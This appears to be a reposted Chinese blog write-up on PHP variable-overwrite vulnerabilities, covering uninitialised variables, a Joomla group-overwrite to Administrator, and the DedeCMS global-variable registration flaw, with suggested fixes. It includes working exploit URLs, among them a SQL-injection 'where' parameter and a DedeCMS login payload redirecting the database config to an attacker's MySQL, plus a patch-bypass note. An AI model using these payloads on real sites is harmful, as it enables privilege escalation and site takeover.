php变量覆盖经验解说

news/2024/7/4 23:19:02
1[b].变量没有初始化的问题(1):[/b]
 
http://www.2cto.com/Article/201211/172403.html
 
$updateinfo['password'] = $newpassword;里面的数组没有初始化类似这样的赋值,我们在挖洞的时候搜索类似updateinfo这样的关键字看看
 
是否初始化,如果没有。。。且register_global=On支持
 
可以提交
 
updateinfo[amount]
这样的数组随意修改自己的余额、点数、会员组、VIP等一切存放在member表的信息.
 
修复:
 
$updateinfo = array();
变量没有初始化的问题(2):
 
http://www.2cto.com/Article/201208/150678.html

 
里面说明了绕过程序的防御,这个是导致注入的一个因素. 更多因素是因为where变量没有初始化!
 
case 'list':
    $totalNum = $mysql->numTable("member", $where);
Where 没初始化 导致可执行任意sql语句
 
http://localhost/stcms_html/member/u.php?action=list&where={sql}
修复:在类调用前加上
 
$where='';
我们在挖洞的时候搜索类似where这样的关键字看,看看是否初始化.
 
变量没有初始化的问题(3):
 
http://www.2cto.com/Article/201205/130717.html
 
// 这个地方获取用户注册信息,POST进来的jform数组,但是没有详细指定
$requestData = JRequest::getVar('jform', array(), 'post', 'array');
$data = (array)$this->getData();
// 遍历出注册信息
foreach ($temp as $k => $v) {
$data[$k] = $v;
}
看似没问题的可是二维数组的特性可以覆盖住:
 
jfrom[groups][]=7,利用foreach的问题覆盖掉groups数组,变成7(Administrator)。
 
修复:像连接1那样
 
$updateinfo['password'] = $newpassword
类似这样赋值。 或者检查数组是否为二维。
 
2.核心代码配置问题引发变量覆盖:
 
Dedecms:例子(1):
 
一. 了解PHP超级全局变量
 
下面是PHP的超级全局变量,可以了解一个特性,全是数组。
 
$GLOBALS, 所有全局变量数组
 
$_SERVER, 服务器环境变量数组
 
$_GET,通过GET方法传递给脚本的变量数组
 
$_POST, 通过POST方法传递给脚本的变量数组
 
$_COOKIE,cookie变量数组
 
$_REQUEST,所有用户输入的变量数组,包括$_GET, $_POST和$_COOKIE所包含的输入内容
 
$_FILES,与文件上传相关得变量数组
 
$_ENV,环境变量数组
 
$_SESSION,会话变量数组
 
二:理解$_GET变量
 
可以写个PHP来看看:
 
<?php
var_dump($_GET);
?>
访问
 
http://www.xxx.com/test.php?key=value
得到
 
array(1) { ["key"]=> string(5) "value" }
OK,看到这里应该明白了,$_GET就是个数组,我们用GET方法可以传一个数组。
 
再访问
 
http://www.xxx.com/test.php?key[arr1]=value
得到
 
array(1) { ["key"]=> array(1) { ["arr1"]=> string(5) "value" } }
我们通过GET方法传入了一个嵌套数组。
 
到这里其实问题就出来了,很多PHP安全资料都没提过GET传嵌套数组的这个特性,偶尔在几个exploit里看到 - -!
 
三. 深入跟进DEDECMS全局变量注册 漏洞
 
真正理解了$_GET变量后,我们来深入跟进这个漏洞产生的真正原因,模拟一下漏洞的全过程:
 
提交一个嵌套数组:
 
http://www.xxxx.com /test.php?_POST[GLOBALS][cfg_dbname]=X
 
array(1) { ["_POST"]=> array(1) { ["GLOBALS"]=>
array(1) { ["cfg_dbname"]=> string(1) "X" } } }
假如数据传入了DEDECMS程序,在第一层过滤,DEDECMS会检查$_REQUEST里有没有全局变量的关键字,但我们的KEY
 
是_POST且是个数组,所以轻松绕过。
 
foreach($_REQUEST as $_k=>$_v)
{
    if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
    {
        exit('Request var not allow!');
    }
}
接着进入真正的注册变量流程,按顺序是先从$_GET变量注册的,我们的KEY是(_POST),第一轮遍历$_GET成功注册
 
了变量$_POST,第二轮遍历$_POST成功注册了变量$GLOBALS !
 
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
到这里漏洞的原因就清楚了,程序通过$_GET注册了$_POST,通过$_POST注册了$GLOBALS!
 
四. 领悟漏洞后的修补
 
完全领悟这个漏洞后,就会知道怎么修补了。
 
1. 可以看看DISCUZ是怎么做的,当发现KEY的第一个字符存在_就不注册变量。
 
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{0} != '_' && $$_key = daddslashes($_value);
    }
}
2. DEDECMS可以用下面的方法临时修补,当遍历$_POST注册变量,发现变量名存在GLOBALS就会阻止注册变量。
 
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) {
        if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){
            exit('Request var not allow!');
        }
        ${$_k} = _RunMagicQuotes($_v);
    }
}
例子exp:
 
http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=账号&pwd=密码& _POST[GLOBALS]
[cfg_dbhost]=MYSQL外链IP&_POST[GLOBALS] [cfg_dbuser]=MYSQL的账号&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密码& _POST[GLOBALS]
[cfg_dbname]=自己的dedecms的 数据库
Dedecms:例子(2): 突破官网补丁(鸡助)
 
http://www.2cto.com/Article/201205/129974. html
 
为什么超全局变量$_REQUEST没有读取到$_COOKIE的参数呢?这个是php 5.3以后php.ini默认设置
 
request_order = "GP",所以你懂的!如果你修改request_order = "GPC",$_REQUEST应该就可以接受到参数了!
 
所以如果php是大于5.3的,变量覆盖漏洞应该可以再次利用!
 
 CheckRequest($_REQUEST);   //这里检查变量是否合法 漏洞缺陷!
$_COOKIE的参数根本不鸟他。。。
 
更多连接:https://forum.90sec.org/thread-2476-1-1.html
 
https://forum.90sec.org/thread-2468-1-1.html
 
3.Yaseng php变量覆盖实例:
 
Yaseng 介绍得很详细了,各种突破:http://www.2cto.com/Article/201212/174595.html
 
对于Dedecms例子2中:有部分人说& _POST[0xHEX 16进制][cfg_dbhost] //GLOBALS 这样能绕过? 本人测试多次不成功,可能是某些问题,也可能
 
是假的.

http://www.niftyadmin.cn/n/2644053.html

相关文章

非常有趣的Javascript特效,能让网页上的图片飞起来

随便打开一个网站&#xff0c;网页上必须有图片&#xff0c;否则没效果&#xff0c;页面打开后清除地址栏中的地址&#xff0c;复制如下代码到地址栏中然后按回车&#xff1a; javascript:R0; x1.1; y1.05; x2.25; y2.24; x31.6; y3.24; x4300; y4200; x5300; y5200; DIdocume…

Python下调用Linux的Shell命令

有时候难免需要直接调用Shell命令来完成一些比较简单的操作&#xff0c;比如mount一个文件系统之类的。那么我们使用Python如何调用Linux的Shell命令&#xff1f;下面来介绍几种常用的方法&#xff1a; 1. os 模块 1.1. os模块的exec方法族 Python的exec系统方法同Unix的exec系…

【PHP】在php文件上传时需要注意的几个细节

php新手童鞋们在做文件上传功能时需要注意以下几点&#xff1a; 1). 首现要在php.ini中开启文件上传&#xff1b; 2). 文件上传表单的提交方式必须是post&#xff0c;即<form method”post”>&#xff1b; 3). 上传表单一定要记住在form标签中写上enctype”multipart/for…

.NET 访问 Oracle 数据库相关

1 System.Data.Client 和 System.Data.OleDb 命名空间    虽然通过这两个命名空间的类都可以访问 数据库&#xff0c;但和 SQL Server 类似的&#xff08;System.Data.SqlClient 命名空间的类效率要比 System.Data.OleDb 命名空间中的类高一些&#xff09;&#xff0c;Syst…

开源云平台OpenStack那些事儿

RackSpace在美国是仅次于亚马逊的云平台公司&#xff0c;作为一个典型的从传统到云计算的厂商&#xff0c;RackSpace的转变是如何走过 的&#xff1f;RackSpace CTO John Engates 的回答是&#xff0c;对他们来说转化很自然&#xff0c;主要由客户需求主导&#xff0c;以前做主…

作为ASP.NET开发人员必须养成的编程习惯

让我们的程序写得更加平易近人&#xff0c;更加生动对我们的编程是大有益处的。对我们的程序学习也能起到事半功倍的作用。编程过程中遵守的不成文的标准&#xff0c;对于我们和他人的交流和自己的再学习都是有益无害的。毕竟有时我们写的程序不是只给自己看的&#xff0c;也不…

不要让开源架构代替我们的设计

2019独角兽企业重金招聘Python工程师标准>>> 现在开源的各种framework非常的多。干什么的都有。但是&#xff0c;是不是我们使用了这些开源framework就能够一劳永逸的解决我们的设计问题呢&#xff1f;我觉得答案是否定的。如果没有自己对设计和系统的理解。框架滥用…

使用飞信带的.net虚拟机vmdotnet精减.net安装文件包 (非托管运行)

飞信中带的VMDotNet&#xff0c;也就是所谓的.NET FRAMEWORK虚拟机吧。相信有很多人也已经看过相关文章了&#xff0c;但是对于新手我还是再提一下&#xff0c;在你的飞信的安装目录下有一个VMDotNet文件夹&#xff0c;这 个就是我们要用的最主要的内容了&#xff0c;先把它COP…